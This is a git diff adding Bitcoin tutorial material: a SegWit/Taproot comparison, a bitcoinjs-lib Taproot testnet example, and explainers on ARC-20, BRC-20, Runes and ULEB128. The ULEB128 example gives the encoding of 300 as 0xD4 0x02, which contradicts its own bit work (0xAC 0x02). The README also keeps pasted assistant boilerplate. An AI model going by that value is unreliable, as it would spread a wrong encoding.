+| **地址格式**                   | `bc1q` 开头                        | `bc1p` 开头                     |
+| **主要改进**                   | 隔离见证（Segregated Witness）      | Taproot                         |
+| **签名算法**                   | ECDSA 签名                         | Schnorr 签名                    |
+| **交易格式**                   | 包含见证字段，分离见证数据          | 与版本0兼容，增加了新的见证字段 |
+| **隐私和效率**                 | 提高区块容量，解决交易可延展性问题   | 进一步提高隐私性和效率          |
+| **智能合约功能**               | 基础单签名和简单多重签名方案        | 支持更复杂的智能合约和条件支付   |
+| **Mast 支持**                  | 不支持                              | 支持（Merkelized Abstract Syntax Tree） |
+| **批量签名验证**               | 不支持                              | 支持（Schnorr签名的特性）        |
+| **兼容性**                     | 不适用于Taproot                    | 兼容Segwit版本0                 |
+
+#### 锁定脚本和解锁脚本的对比
+| Type                    | scriptPubKey（锁定时使用）                     | Witness（花费时使用）                         | 说明                                      |
+|-------------------------|------------------------------------------------|----------------------------------------------|-----------------------------------------|
+| **P2WPKH**              | 0x0014{20-byte-key-hash}                       | \<signature\> \<pubkey\>                    | 支付到单一公钥哈希，常用于单签名交易。       |
+| **P2WSH**               | 0x0020{32-byte-hash}                           | \<script\> \<witness\>                      | 支付到复杂脚本哈希，适用于多重签名或其他复杂脚本。|
+| **P2TR (Key Path)**     | 0x5120{32-byte-tweaked-public-key}             | \<schnorr-signature\>                       | 使用Taproot支付到单一公钥，简化的单签名。       |
+| **P2TR (Script Path)**  | 0x5120{32-byte-tweaked-public-key}             | \<schnorr-signature\> \<script\> \<control-block\> | 使用Taproot支付到复杂脚本路径，支持复杂的条件支付。|
+
+Taproot的地址计算、锁定脚本和解锁脚本详见[MAST](./MAST.md)
\ No newline at end of file
diff --git a/BTC/Advanced/Taproot/example/README.md b/BTC/Advanced/Taproot/example/README.md
new file mode 100644
index 000000000..f8f8b5d5d
--- /dev/null
+++ b/BTC/Advanced/Taproot/example/README.md
@@ -0,0 +1,129 @@
+# Bitcoin Taproot Example
+
+A demonstration project showcasing Bitcoin Taproot technology implementation, including address creation, transaction handling, and Schnorr signatures.
+
+## Features
+
+- Taproot address generation
+- Schnorr signature implementation
+- Transaction creation and signing
+- OP_RETURN output support
+- Debug information output
+
+## Tech Stack
+
+- bitcoinjs-lib: Bitcoin transaction handling library
+- ecpair: Key pair management
+- @bitcoinerlab/secp256k1: Elliptic curve cryptography
+
+## Installation
+
+```bash
+npm install bitcoinjs-lib ecpair @bitcoinerlab/secp256k1
+```
+
+## Usage
+
+1. Create a Taproot address:
+```javascript
+const taprootData = createTaprootAddress();
+console.log('Taproot Address:', taprootData.address);
+```
+
+2. Create a transaction:
+```javascript
+const tx = await createTaprootTransaction(taprootData, recipientAddress, amount);
+```
+
+## Core Components
+
+### SchnorrSigner Class
+Handles Schnorr signatures required for Taproot transactions:
+- Key pair management
+- x-only public key conversion
+- Schnorr signature generation
+
+### Utility Functions
+- `toXOnly`: Converts full public key to x-only format
+- `createTaprootAddress`: Generates Taproot address
+- `addOpReturnOutput`: Adds OP_RETURN output
+- `createTaprootTransaction`: Creates and signs transactions
+
+## Important Notes
+
+- Currently configured for testnet
+- Uses fixed transaction fee (1000 satoshis)
+- Example UTXO is placeholder (replace with real UTXO in production)
+
+## Debug Features
+
+The project includes comprehensive debug output:
+- Address information
+- Public key details
+- Transaction details
+- Signature information
+
+## Example Output
+
+When running the program, you'll see:
+- Taproot address
+- Public key (hex format)
+- Output script
+- Network information
+- Transaction details
+- Witness data
+
+## Development Environment
+
+- Node.js
+- npm/yarn
+- Bitcoin Testnet (for testing)
+
+## Security Considerations
+
+- This is a demonstration project, not recommended for mainnet use
+- Ensure proper private key handling in production
+- Implement appropriate error handling for production use
+
+## API Reference
+
+### createTaprootAddress()
+Returns an object containing:
+- signer: SchnorrSigner instance
+- address: Taproot address
+- output: Output script
+
+### createTaprootTransaction(taprootData, recipient, satoshis, message)
+Parameters:
+- taprootData: Object containing signer and output information
+- recipient: Recipient's address
+- satoshis: Amount to send
+- message: Optional OP_RETURN message (default provided)
+
+Returns: Signed transaction in hex format
+
+## References
+
+- [Bitcoin Taproot Documentation](https://github.com/bitcoin/bips/blob/master/bip-0341.mediawiki)
+- [bitcoinjs-lib Documentation](https://github.com/bitcoinjs/bitcoinjs-lib)
+
+## Contributing
+
+Feel free to submit issues and enhancement requests.
+
+## License
+
+MIT License
+```
+
+This README.md provides:
+1. Project overview and key features
+2. Installation and usage instructions
+3. Detailed component descriptions
+4. Development considerations
+5. Debug information
+6. Security notes
+7. API documentation
+8. Relevant references
+
+You can customize this content based on your specific needs.
diff --git a/BTC/Advanced/Taproot/example/index.js b/BTC/Advanced/Taproot/example/index.js
new file mode 100644
index 000000000..837e91914
--- /dev/null
+++ b/BTC/Advanced/Taproot/example/index.js
@@ -0,0 +1,174 @@
+const bitcoin = require('bitcoinjs-lib');
+const { ECPairFactory } = require('ecpair');
+const secp256k1 = require('@bitcoinerlab/secp256k1');
+const ECPair = ECPairFactory(secp256k1);
+
+// Initialize the elliptic curve library for Bitcoin operations
+bitcoin.initEccLib(secp256k1);
+
+// Set network to testnet for development purposes
+const network = bitcoin.networks.testnet;
+
+/**
+ * Convert a public key to x-only format required for Taproot
+ * @param {Buffer} pubKey - The full public key
+ * @returns {Buffer} The x-only public key (32 bytes)
+ */
+function toXOnly(pubKey) {
+  return Buffer.from(pubKey).slice(1, 33);
+}
+
+/**
+ * SchnorrSigner class for handling Taproot signatures
+ * Implements the Schnorr signature scheme required for Taproot
+ */
+class SchnorrSigner {
+  constructor(keyPair) {
+    this.keyPair = keyPair;
+    // Convert to x-only public key format required for Taproot
+    this.publicKey = toXOnly(keyPair.publicKey);
+  }
+
+  // Sign transaction with Schnorr signature
+  sign(hash) {
+    return this.keyPair.sign(hash, true); // Enable Schnorr signing
+  }
+
+  signSchnorr(hash) {
+    return this.sign(hash);
+  }
+}
+
+/**
+ * Creates a Taproot address and associated data
+ * @returns {Object} Contains signer, address and output script
+ */
+function createTaprootAddress() {
+  // Generate random keypair for Taproot
+  const keyPair = ECPair.makeRandom({ network });
+  const schnorrSigner = new SchnorrSigner(keyPair);
+  
+  // Create P2TR (Pay-to-Taproot) payment object
+  const { address, output } = bitcoin.payments.p2tr({
+    pubkey: schnorrSigner.publicKey,
+    network,
+  });
+
+  return { signer: schnorrSigner, address, output };
+}
+
+/**
+ * Adds OP_RETURN output to transaction
+ * @param {Psbt} psbt - The Partially Signed Bitcoin Transaction
+ * @param {string} message - Message to embed in OP_RETURN
+ */
+function addOpReturnOutput(psbt, message) {
+  const data = Buffer.from(message, 'utf8');
+  const embed = bitcoin.payments.embed({ data: [data] });
+  psbt.addOutput({ script: embed.output, value: 0 });
+}
+
+/**
+ * Creates and signs a Taproot transaction
+ * @param {Object} taprootData - Contains signer and output information
+ * @param {string} recipient - Recipient's address
+ * @param {number} satoshis - Amount to send
+ * @param {string} message - Optional OP_RETURN message
+ * @returns {string} Signed transaction in hex format
+ */
+async function createTaprootTransaction(taprootData, recipient, satoshis, message = "Created with Bitcoin Taproot Demo") {
+  try {
+    // Initialize PSBT (Partially Signed Bitcoin Transaction)
+    const psbt = new bitcoin.Psbt({ network });
+
+    // Example transaction ID (replace with actual UTXO in production)
+    const txid = Buffer.from('a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2', 'hex');
+
+    // Add input with Taproot specific fields
+    psbt.addInput({
+      hash: txid,
+      index: 0,
+      witnessUtxo: {
+        value: satoshis,
+        script: taprootData.output,
+      },
+      tapInternalKey: taprootData.signer.publicKey,
+    });
+
+    // Add recipient output (with fee deduction)
+    psbt.addOutput({
+      address: recipient,
+      value: satoshis - 1000 // Deduct transaction fee
+    });
+
+    // Add optional OP_RETURN message
+    addOpReturnOutput(psbt, message);
+
+    // Sign and finalize the transaction
+    await psbt.signInput(0, taprootData.signer);
+    psbt.finalizeAllInputs();
+
+    return psbt.extractTransaction().toHex();
+  } catch (error) {
+    console.error('Error in createTaprootTransaction:', error);
+    throw error;
+  }
+}
+
+// Print debug information
+function printDebugInfo(data) {
+  console.log('\nDebug Information:');
+  for (const [key, value] of Object.entries(data)) {
+    if (Buffer.isBuffer(value)) {
+      console.log(`${key}: ${value.toString('hex')} (Buffer)`);
+    } else if (typeof value === 'object' && value !== null) {
+      console.log(`${key}: [Object]`);
+    } else {
+      console.log(`${key}: ${value}`);
+    }
+  }
+}
+
+async function main() {
+  try {
+    // Create Taproot address
+    const taprootData = createTaprootAddress();
+    
+    console.log('Taproot Details:');
+    console.log('Taproot Address:', taprootData.address);
+    console.log('Public Key:', taprootData.signer.publicKey.toString('hex'));
+    console.log('Output Script:', taprootData.output.toString('hex'));
+
+    // Output debug information
+    printDebugInfo({
+      network: network.messagePrefix,
+      publicKeyType: taprootData.signer.publicKey.constructor.name,
+      publicKeyLength: taprootData.signer.publicKey.length,
+      hasPrivateKey: !!taprootData.signer.keyPair.privateKey,
+      outputType: taprootData.output.constructor.name,
+      outputLength: taprootData.output.length
+    });
+
+    // Create transaction
+    const recipientAddress = 'tb1qw508d6qejxtdg4y5r3zarvary0c5xw7kxpjzsx';
+    const tx = await createTaprootTransaction(taprootData, recipientAddress, 100000);
+    
+    // Parse and print transaction details
+    const decodedTx = bitcoin.Transaction.fromHex(tx);
+    console.log('\nTransaction Details:');
+    console.log('Version:', decodedTx.version);
+    console.log('Inputs:', decodedTx.ins.length);
+    console.log('Outputs:', decodedTx.outs.length);
+    console.log('Transaction Hex:', tx);
+
+    // Print signature information
+    console.log('\nSignature Details:');
+    decodedTx.ins.forEach((input, index) => {
+      console.log(`Input #${index} Witness:`, input.witness.map(w => w.toString('hex')));
+    });
+  } catch (error) {
+    console.error('Main Error:', error);
+  }
+}
+
+main().catch(console.error);
diff --git a/BTC/Advanced/Taproot/example/package.json b/BTC/Advanced/Taproot/example/package.json
new file mode 100644
index 000000000..9798077c0
--- /dev/null
+++ b/BTC/Advanced/Taproot/example/package.json
@@ -0,0 +1,20 @@
+{
+  "name": "example",
+  "version": "1.0.0",
+  "description": "",
+  "main": "index.js",
+  "engines": {
+    "node": ">=20.0.0"
+  },
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1"
+  },
+  "keywords": [],
+  "author": "",
+  "license": "ISC",
+  "dependencies": {
+    "@bitcoinerlab/secp256k1": "^1.2.0",
+    "bitcoinjs-lib": "^6.1.5",
+    "ecpair": "^3.0.0"
+  }
+}
diff --git a/BTC/Application/ARC-20/README.md b/BTC/Application/ARC-20/README.md
new file mode 100644
index 000000000..9efa14408
--- /dev/null
+++ b/BTC/Application/ARC-20/README.md
@@ -0,0 +1,75 @@
+# ARC-20 简介
+## Atomical
+Atomicals 协议是一种简单而灵活的协议，用于为比特币等未花费的交易输出 (UTXO) 区块链铸造、传输和更新数字对象 （传统上称为不可替代代币）。原子（或“原子”）是一种组织数字对象的创建、传输和更新的方式——它本质上是根据一些简单规则定义的数字所有权链。  
+### Atomicals 与其他流行的不可替代代币 (NFT) 协议进行比较。  
+| 功能                 | Atomicals                                      | Ordinals                                         | Ethereum ERC721                             |
+|---------------------|------------------------------------------------|--------------------------------------------------|--------------------------------------------|
+| 价值主张              | 数字对象、数字工件、数字收藏品                     | 数字对象、数字工件、数字收藏品                      | 数字对象、数字工件、数字收藏品                |
+| 区块链                | 比特币及所有 UTXO 区块链                          | 比特币及所有 UTXO 区块链                           | 兼容以太坊 EVM 的区块链                       |
+| 铸币技术              | 比特币：提交和显示，使用 "atom" 封套               | 比特币：提交和显示，使用 "ord" 封套                 | 资金和部署合约账户                           |
+| 数据存储              | 在铸造时存储一个或多个文件                         | 在铸造时仅存储一个文件                             | 未定义                                      |
+| 动态状态              | 定义和更新基本和任何复杂文件类型的应用状态         | 未定义 - 可以基于应用特定来定义                    | 未定义 - 可以预先编程                        |
+| 验证                  | 目前通过索引服务 "electrumx" 验证 - 理论上可以客户端全部验证 | 目前通过索引服务 "ord" 验证 - 理论上可以客户端全部验证 | 信任以太坊 EVM 节点或实际上信任 Metamask 或 Infura |
+| 索引                  | 目前依赖于 elecrumx atomicals 索引器 (Python) 进行追踪序号系统 | 目前依赖于 ord 索引器 (Rust) 进行追踪序号系统        | 使用原生以太坊 EVM 节点或实际上信任 Metamask 或 Infura |
+| 地址格式              | 铸造和更新需要 P2TR (Taproot) 地址                | 所有使用如铸造和转移都需要 P2TR (Taproot) 地址    | 使用原生以太坊账户地址                        |
+| 集合                  | 首次的 "容器" NFT 用于更新集合，可以永久封闭        | 未定义但正在进展中的父子关系                       | 定义为单独的 ERC                            |
+| 原子交换              | 部分签名比特币交易 (PBSTs)                        | 部分签名比特币交易 (PBSTs)                        | 定义为单独的 ERC                            |
+| 可替代代币            | 首次 "ARC20" 使用 Satoshi 作为计量单位。去中心化和直接铸造模式可用。内置 Ticker 名称服务 | 基本协议中未提供。"BRC20" 通过铸造在铭文中创建 JSON 协议来定义去中心化铸造规则和 Ticker 名称。 | 定义为 ERC20 类型代币                         |
+| 域名服务              | Realms 作为首次的 NFT，代表域名和数字身份。一种新的无域名后缀的命名标准，以加号 "+" 开头，如 +username | 基本协议中未提供。".names" 和 ".sats" 协议作为铭文中的 JSON 协议存在，定义声明和更新规则。 | 现有服务如 ENS 和 Unstoppable Domains      |
+
+
+
+## ARC-20
+Atomicals 协议解决了如何在比特币区块链上表示任意可替代代币资产的长期存在的问题。ARC-20 可替代代币标准最终为比特币带来了彩色硬币，并使用每个 Satoshi 来代表已部署代币的所有权单位。这意味着每个单位的代币永远由 1 聪支持。它充当一种支撑代币价值的“数字黄金含量”。这也意味着根据定义，每个代币的价值永远不会低于 1 聪。
+
+ARC-20 使用原生 Satoshi 单位来表示每个代币，它们可以像普通比特币一样拆分和组合。ARC-20 代币可以由任何人铸造，并转移到任何比特币地址类型，并可与支持 UTXO 选择的钱包配合使用，例如 Sparrow Wallet （外部链接）。有两种部署模式：直接部署和分散部署。下面详细了解 ARC-20 的不同铸造方式及其优点。
+![dune](./images/atomical.png)
+据 Dune 链上数据统计，截止2023 年 3 月 6 日, 巅峰期 Atomical 交易占比超过铭文市场交易的六成之多，是继Ordinal之外BTC生态采用度最高的协议。
+
+## 协议详情
+Atomicals 协议使用原子交换的方案进行 Atomical 的铸造，并在交易输出环节融入了 Commit-Reveal 方案，以此来确保用户铸造 Atomical 过程的不可篡改性和隐私性。此外，它还在铸造过程中添加了唯一标识符来为 Atomical 的安全性和可追溯性提供保障。
+
+### Deploy
+去中心化部署是通过ticker、每铸币奖励、允许的总铸币数、起始块高度和元数据来初始化的
+
+| 参数名        | 描述                                                   |
+|-------------|------------------------------------------------------|
+| tick        | 全局唯一的代币名称（ticker name）                              |
+| per_mint_amt| 每次成功铸造时授予的代币数量。以 Satoshi 为单位。                     |
+| mint_count  | 在额度耗尽之前允许的铸造总次数，达到后将成为“完全铸造”状态。             |
+| start_height| 可以开始铸造的起始区块高度。可以设置为 0 或任何未来的区块高度。              |
+| image       | 代表代币的图像图标。文件名将出现在代币中。在引入文件时使用 "image.jpg" 或 "image.png" 并请谨慎重命名。|
+
+
+### Mint
+```js
+npm run cli mint-dft <tick>
+
+Optional flags:
+--satsbyte=<number>
+```
+去中心化的铸币功能mint-dft允许从start_height区块高度开始铸造tick
+
+所需参数：
+
+tick：全全局唯一的代币名称（ticker name）
+
+可选标志：
+
+--satsbyte=<数字>
+
+设置交易的每字节聪并覆盖默认值，用来加速
+
+### Transform
+
+ARC20 代币传输的正常操作是所有输入值的总和应完全或干净地分配到可用输出中。如果没有足够的输出值，或者后续输出之一会导致过度分配（即：代币单位的通货膨胀），则剩余余额将被永久销毁或烧毁。
+
+#### 完全分配
+使用 FIFO 规则将所有输入干净地分配给输出。
+原子 1932、7920、0542 是不可替代代币 (NFT)，按先进先出顺序分配，同时跳过不可花费的输出 (OP_RETURN)。第一个输入 NFT 从输出 0 开始分配，然后每个后续 NFT 输入分配给下一个可用输出。同一 UTXO 输入中的多个 Atomical 按atomical_id 排序。由于“1932”在“7920”之前，因此它排在第一位。
+![alt text](./images/transfer1.png)
+
+#### 未完全分配
+在无法完全（或“干净”）分配输出的情况下，算法会尝试从输出 0 开始分配所有 ARC20 令牌，无论是否已分配另一个 ARC20。做出这一决定是为了在开发人员或钱包意外未能跟踪多个输入 ARC20 的情况下给予宽大处理 - 换句话说，将“尽最大努力”尝试进行补偿和分配。
+原子 1932、7920、0542 是不可替代代币 (NFT)，按先进先出顺序分配，同时跳过不可花费的输出 (OP_RETURN)。如果它们无法“干净地分配”，如上面的示例中，第 5 个输出有 700 个单位（这对于 Atomical 0542 的 620 值来说太多了），则算法默认为“尽力而为”，从输出开始分配所有 ARC20 0。
+![alt text](./images/transfer2.png)
\ No newline at end of file
diff --git a/BTC/Application/ARC-20/images/atomical.png b/BTC/Application/ARC-20/images/atomical.png
new file mode 100644
index 000000000..2386fc910
Binary files /dev/null and b/BTC/Application/ARC-20/images/atomical.png differ
diff --git a/BTC/Application/ARC-20/images/transfer1.png b/BTC/Application/ARC-20/images/transfer1.png
new file mode 100644
index 000000000..63d8da6c2
Binary files /dev/null and b/BTC/Application/ARC-20/images/transfer1.png differ
diff --git a/BTC/Application/ARC-20/images/transfer2.png b/BTC/Application/ARC-20/images/transfer2.png
new file mode 100644
index 000000000..7702330b8
Binary files /dev/null and b/BTC/Application/ARC-20/images/transfer2.png differ
diff --git a/BTC/Application/BRC-20/README.md b/BTC/Application/BRC-20/README.md
new file mode 100644
index 000000000..b5aa9e7ad
--- /dev/null
+++ b/BTC/Application/BRC-20/README.md
@@ -0,0 +1,43 @@
+# BRC-20 简介
+## Ordinals
+Ordinals是Satoshi比特币的最小单位，同下文聪）的一种编号方案，允许跟踪和传输单个聪。这些数字称为序数。聪按照开采的顺序进行编号，并以先进先出的方式从交易输入转移到交易输出。编号方案和转移方案都依赖于 order，编号方案取决于开采聪的顺序，转移方案取决于交易输入和输出的顺序。Ordinals协议允许在比特币的单个聪上“铸造”或附加数据（称为铭文），这意味着每个聪可以成为一个独特的、非同质化的资产。同时基于聪上携带的铭文我们可以发行同质化资产和非同质资产类似于以太坊上的ERC20和NFT，而 BRC-20 就是 Ordinals 协议知名度最高的资产发行方案。
+
+## BRC-20
+2023 年 3 月 11 日，domo在Twitter上发起了一项实验，该实验基于Ordinal协议，并定义了一种新的Token标准：“BRC-20”。这个实验性的协议专注于在比特币网络上资产的铸造和转移，意外地打开了潘多拉魔盒，激发了人们多年来对于在比特币网络上发行资产的强烈兴趣。  
+![dune](./images/dune.jpg)
+据 Dune 链上数据统计，截止2023 年 12 月 3 日, 巅峰期 BRC-20 交易占比超过比特币网络交易的六成之多，是迄今为止BTC生态采用度最高的协议。Ordinal和BRC-20协议从技术层面来说并不是一个优秀的技术，但其是去掉智能合约的资产发行足够简单以及Fair Mint的特点，让用户更加容易参与进来。  
+这次实验不仅点燃了市场的热情，还引发了一场广泛的“铭文潮流”，也就是在比特币网络上铸造和交易各种Token的潮流。接着，类似于BRC-20的铭文协议如雨后春笋般涌现，不仅在比特币网络上蓬勃发展，还迅速扩散到其他公链平台。这次实验中的一种Token——ordi，已经取得了显著的市场成就。截至目前，ordi的市值已经超过了10亿美元，成为了加密资产市场中的一颗新星，稳居市值排行榜前50位。这个成就不仅证明了BRC-20和类似协议的潜力，也显示了区块链技术在资产Token化领域的巨大应用前景。  
+总的来说，domo的这次实验不仅是一个技术上的突破，也是一个市场和社区层面的重大事件。它不仅为比特币网络上的资产发行开辟了新天地，还为整个加密资产生态系统的发展注入了新的活力和创新。
+![brc20-experiment](./images/brc20-experiment.jpg)
+
+## 协议详情
+### Deploy
+```js
+{"p":"brc-20","op":"deploy","tick":"ordi","max":"21000000","lim":"1000"}
+```
+| Key  | Required? | Description                                                                                   |
+|------|-----------|-----------------------------------------------------------------------------------------------|
+| p    | Yes       | Protocol: Helps other systems identify and process BRC-20 events                              |
+| op   | Yes       | Operation: Type of event (Deploy, Mint, Transfer)                                             |
+| tick | Yes       | Ticker: 4 letter identifier of the BRC-20                                                     |
+| max  | Yes       | Max supply: set max supply of the BRC-20                                                      |
+| lim  | No        | Mint limit: If letting users mint to themselves, limit per ordinal (unisat not validate)     |
+| dec  | No        | Decimals: set decimal precision, default to 18                                               |
+
+### Mint
+```js
+{"p":"brc-20","op":"mint","tick":"ordi","amt":"100000"}
+```
+| Key  | Required? | Description                                                       |
+|------|-----------|-------------------------------------------------------------------|
+| p    | Yes       | Protocol: Helps other systems identify and process brc-20 events   |
+| op   | Yes       | Operation: Type of event (Deploy, Mint, Transfer)                 |
+| tick | Yes       | Ticker: 4 letter identifier of the brc-20                         |
+| amt  | Yes       | Amount to mint: States the amount of the brc-20 to mint. Has to be less than "lim" above if stated |
+
+### Transform
+- 铸造transfer铭文
+```js
+{"p":"brc-20","op":"transfer","tick":"ordi","amt":"10"}
+```
+- 将transfer铭文通过PSBT的方法转移给receiver
\ No newline at end of file
diff --git a/BTC/Application/BRC-20/images/brc20-experiment.jpg b/BTC/Application/BRC-20/images/brc20-experiment.jpg
new file mode 100644
index 000000000..d93b85739
Binary files /dev/null and b/BTC/Application/BRC-20/images/brc20-experiment.jpg differ
diff --git a/BTC/Application/BRC-20/images/dune.jpg b/BTC/Application/BRC-20/images/dune.jpg
new file mode 100644
index 000000000..b3717ba9f
Binary files /dev/null and b/BTC/Application/BRC-20/images/dune.jpg differ
diff --git a/BTC/Application/Runes/README.md b/BTC/Application/Runes/README.md
new file mode 100644
index 000000000..a95c6e61e
--- /dev/null
+++ b/BTC/Application/Runes/README.md
@@ -0,0 +1,104 @@
+# 背景
+## Ordinals
+Ordinals 最早由 Casey (@rodarmor) 在2022年12月发布，该协议允许在比特币的最小单位聪上铭刻数据，包含文本、图片、音频、视频等数据信息，进而把NFT引入到比特币生态。而我们一直说的比特币铭文也是一段通过采用Ordinals 协议铭刻(Inscribe)在聪(Satoshis)上的元数据。
+
+## BRC-20
+BRC-20 是由匿名开发者 @domodata 于2023年3月8日推出，是基于刚介绍的 Ordinals协议推出的协议。该协议通过将代币的名称、数量等信息用特定的 JSON 格式写入聪(Satoshi)中以实现代币的部署Deploy、铸造Mint和转账Transfer的功能。仿照以太坊 ERC-20 代币标准使用 BRC-20 命名，相当于基于 Ordinals 协议的代币发行协议。详细介绍参考 [BRC-20 协议](../BRC-20/README.md)。
+
+## Runes
+2023年9月1日 Casey 公开反对BRC20协议，并希望可以停止铸造 BRC-20。在9月26日，Casey Rodarmor 重新开发了一个名为 Runes 的协议作为 BRC-20 的替代品。该协议是一个基于 UTXO 的、能使比特币使用者具有使用良好体验的可替代代币协议。Casey 认为改良过后，能够降低制造大量垃圾 UTXO 现象的符文，是比先前实验性的 BRC-20 协议更好、更轻量简洁的资产发行方案。至少目前 BRC -20 的流行已经创造了大量的“垃圾”UTXO 。
+
+
+# Runes协议介绍
+符文协议允许比特币交易蚀刻、铸造和转移比特币原生数字商品。
+
+## 符文石（RuneStone）
+> 符文协议消息，称为符文石，存储在比特币交易输出中。 在区块 840,000（比特币第四次减半） 上激活, 早期区块中的符文石将被忽略。
+
+符文石输出的脚本以`OP_RETURN`开头，然后是 `OP_13`，最后是零个或多个数据推送。这些推送的数据被串联起来并解码为128位整数序列，最后解析为符石，相关编解码逻辑见[ULEB128](./ULEB128.md)。
+一笔交易最多可以拥有一颗符文石。符文石可以蚀刻一个新的符文或者铸造一个现有的符文，并将符文从交易的输入传输到其输出。
+```js
+struct Runestone {
+  edicts: Vec<Edict>,
+  etching: Option<Etching>,
+  mint: Option<RuneId>,
+  pointer: Option<u32>,
+}
+```
+- `edicts`：标识符文的转移信息，用于符文转账。
+- `etching`：标识符文的蚀刻信息，通过蚀刻创建新符文。
+- `mint`：存储符文 ID，用于符文铸造。
+- `pointer`：标识未分配的符文的默认转移位置，不设置则将剩余的未分配符文将转移到交易的第一个非OP_RETURN输出。
+
+### 符文（Rune）
+符文由 ID 标识，ID 包含蚀刻符文的区块以及该区块内蚀刻交易的索引，以文本形式表示为BLOCK:TX。例如，第 500 个区块的第 20 笔交易中铸造的符文 ID 为500:20。
+
+### 蚀刻（Etching）
+符文石中包含的蚀刻信息用于创建新符文
+```js
+struct Etching {
+  divisibility: Option<u8>,
+  premine: Option<u128>,
+  rune: Option<Rune>,
+  spacers: Option<u32>,
+  symbol: Option<char>,
+  terms: Option<Terms>,
+}
+
+struct Rune(u128);
+
+struct Terms {
+  amount: Option<u128>,
+  cap: Option<u128>,
+  height: (Option<u64>, Option<u64>),
+  offset: (Option<u64>, Option<u64>),
+}
+```
+- `divisibility`：符文精度，标识符文数量中小数点后允许的位数。
+- `premine`：为自己分配被蚀刻的符文数量，用于预挖。
+- `rune`：符文名称，由字母 A 到 Z 组成，例如UNCOMMONGOODS。
+- `spacers`：符文分隔符，位域的第 N 个字段（从最低有效位开始）确定是否应在从符文名称左侧开始的第 N 个和第 N+1 个字符之间显示间隔符，举例如下 
+
+| Spacers | Display  |
+|---------|----------|
+| 0b1     | A•AAA    |
+| 0b11    | A•A•AA   |
+| 0b10    | AA•AA    |
+| 0b111   | A•A•A•A  |
+
+- `symbol`：符文货币符号的 Unicode 代码点，显示在该符文的金额之后。如果符文没有货币符号，¤则应使用通用货币字符。
+- `terms`：符文条款，铸币时需要满足的条件。
+  - `amount`: 每个铸币交易收到的符文数量
+  - `cap`: 允许的铸造次数
+  - `height`: 铸造的起始和结束绝对区块高度
+  - `offset`: 相对于符文被蚀刻的块的起始和结束块高度
+
+### 铸造
+符文石中包含的mint信息用于铸造符文，铸币数量将添加到交易输入中未分配的符文中。这些符文可以使用Edict进行转移，否则将转移到第一个非OP_RETURN输出或由字段指定的输出Pointer。
+
+### 转账
+符文石中包含的edict信息用于转移符文，符文石可以包含任意数量的法令，这些edict是按顺序处理的。
+```js
+struct Edict {
+  id: RuneId,
+  amount: u128,
+  output: u32,
+}
+```
+- id：符文id。
+- amount：符文转移数量。
+- output：符文输出位置，对应vout的下标。
+
+转移规则：
+1. 优先处理符文石的edict，将输入中对应的符文转移到输出的output位置的UTXO上
+2. 如果有剩余的符文则会均匀分配到输出上
+3. 如果未分配的符文数量不能被非OP_RETURN输出的数量整除，多余的符文会分配给第一个非OP_RETURN的输出
+
+如果符石中的任何edict的符文ID的block=0且tx>0，或者output大于交易输出的数量，则该符石是纪念碑。纪念碑中的法令不会被处理，所有输入的符文都会被烧毁。
+
+## 纪念碑（Cenotaphs）
+符石可能因多种原因而格式错误，包括符石中的非推送数据操作码OP_RETURN、无效的变体或无法识别的符石字段。畸形的符文石被称为**纪念碑**。
+
+输入到纪念碑交易中的符文会被烧毁。在带有纪念碑的交易中蚀刻的符文被设置为不可铸造。带有纪念碑的交易中的铸币计入铸币上限，但铸造的符文会被烧毁。
+
+纪念碑是一种升级机制，允许符文被赋予新的语义，从而改变符文的创建和传输方式，同时不会误导未升级的客户端这些符文的位置，因为未升级的客户端会看到这些符文已被烧毁。
\ No newline at end of file
diff --git a/BTC/Application/Runes/ULEB128.md b/BTC/Application/Runes/ULEB128.md
new file mode 100644
index 000000000..745c87556
--- /dev/null
+++ b/BTC/Application/Runes/ULEB128.md
@@ -0,0 +1,247 @@
+# 简介
+
+ULEB128（Unsigned Little Endian Base 128）是一种编码方式，设计用于高效地表示无符号整数，尤其是在计算机科学和编程中。它采用变长编码方式，旨在减少存储和传输数据时的开销。
+
+# 示例
+
+## ULEB128 编码
+
+ULEB128编码将无符号整数编码为一系列字节，其中每个字节除了最后一个字节外，最高位都被设置为1，表示还有更多的字节。
+整数从其最低有效位到最高有效位进行编码，逐字节处理，每次处理7位。处理的过程中，将7位数据放入字节的低7位，若还有更多数据待处理，则设置高位为1，否则设置为0。这种编码方式保证了较小的数值占用较少的空间。
+** 举例 **
+假设要编码整数 300（二进制表示为 10, 0101100）：
+
+- 第一个字节中，低7位为 0101100（十进制的 44），最高位设置为 1（表示还有数据），因此第一个字节为 10101100。
+- 第二个字节仅包含剩余的 10，放在最低位，其余位填充为0，最高位为 0（表示这是最后一个字节），因此第二个字节为 00000010。
+- 最终编码为 0xD4 0x02。
+
+## ULEB128 解码
+
+ULEB128 解码需要观察每个字节的最高位（也称为继续位），在 ULEB128 编码中，每个字节的最高位（第8位）用于指示是否还有更多的字节需要读取。
+
+- 如果这一位是 1，表示后续还有至少一个字节是这个数的一部分。
+- 如果这一位是 0，则表示这是最后一个字节。
+  ** 举例 **
+  假设要解码十六进制 **cfa433**
+- 第一个字节 cf（二进制：11001111），数据位：1001111（二进制），十进制值为 79。
+- 第二个字节 a4（二进制：10100100），数据位：0100100（二进制），十进制值为 36。
+- 第三个字节 33（二进制：00110011），数据位：0110011（二进制），十进制值为 51。
+
+相加得到 79 + 36 _ 128 + 51 _ 128^2 = 840271
+
+## 在Runes中应用
+
+## 蚀刻
+
+### 数据结构
+
+```js
+type Etching = {
+  divisibility?: U8;
+  premine?: U128;
+  rune?: Rune;
+  spacers?: U32;
+  symbol?: Symbol;
+  terms?: Terms;
+};
+
+type Rune = u128;
+
+type Terms = {
+  amount?: U128;
+  cap?: U128;
+  height?: {
+    start?: U64;
+    end?: U64;
+  };
+  offset?: {
+    start?: U64;
+    end?: U64;
+  };
+};
+```
+
+### 示例
+
+｜ DOG•GO•TO•THE•MOON 蚀刻交易
+https://mempool.space/zh/tx/e79134080a83fe3e0e06ed6990c5a9b63b362313341745707a2bff7d788a1375
+
+**1. Raw OP_RETURN**
+
+```js
+OP_RETURN
+OP_PUSHNUM_13
+OP_PUSHBYTES_33 02010487a1c3f0c0ebf7fb9d01010503d4040595e80706808084fea6dee1111601
+```
+
+**2. ULEB128解码**
+
+```js
+[
+  { decimal: 2n, hex: '02' },
+  { decimal: 1n, hex: '01' },
+  { decimal: 4n, hex: '04' },
